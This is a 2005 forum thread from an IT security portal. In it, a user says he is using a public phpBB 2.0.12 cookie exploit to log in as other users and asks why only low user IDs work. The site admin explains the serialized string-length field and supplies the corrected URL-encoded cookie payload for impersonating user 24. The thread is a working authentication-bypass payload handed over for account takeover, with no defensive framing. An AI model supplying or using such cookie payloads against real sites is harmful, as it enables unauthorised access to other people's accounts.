Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 29, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 685
Members: 0
Total: 685
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpbb 2.0.12 cookies - question
Post new topic  Reply to topic View previous topic :: View next topic 
phpbb 2.0.12 cookies - question
PostPosted: Wed Aug 10, 2005 9:29 am Reply with quote
Sta1ker
Beginner
Beginner
 
Joined: Aug 10, 2005
Posts: 1




Hey,

I was just having fun with "cookie exploit" in phpbb 2.0.12 (http://www.milw0rm.com/id.php?id=871). This exploit works fine, but I cannot login as any user but only as users with userid's from 2 to 9. What do I have to switch in this cookie to login as any user? Encoded looks like this:

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

Coded like this:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%
3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

If I switch
Quote:
%222%22%
to
Quote:
%224%22%
I will login as user with id '4'. But if I switch
Quote:
%222%22%
to
Quote:
%2224%22%
I wont login as user id 24... any ideas?
View user's profile Send private message
PostPosted: Wed Aug 10, 2005 9:44 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




If you urldecode this:

Code:

s%3A1%3A%222%22%3B%7D


then you will see, that string with length 1 char is defined:

Code:

s:1:"2";}


Now, if you want userID "24", then this will be 2 chars long, so you must use:

Code:

s:2:"24";}


and as urlencoded it will look like:

Code:

s%3A2%3A%2224%22%3B%7D


I hope that this will help you Smile
View user's profile Send private message Send e-mail Visit poster's website
phpbb 2.0.12 cookies - question
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.156 Seconds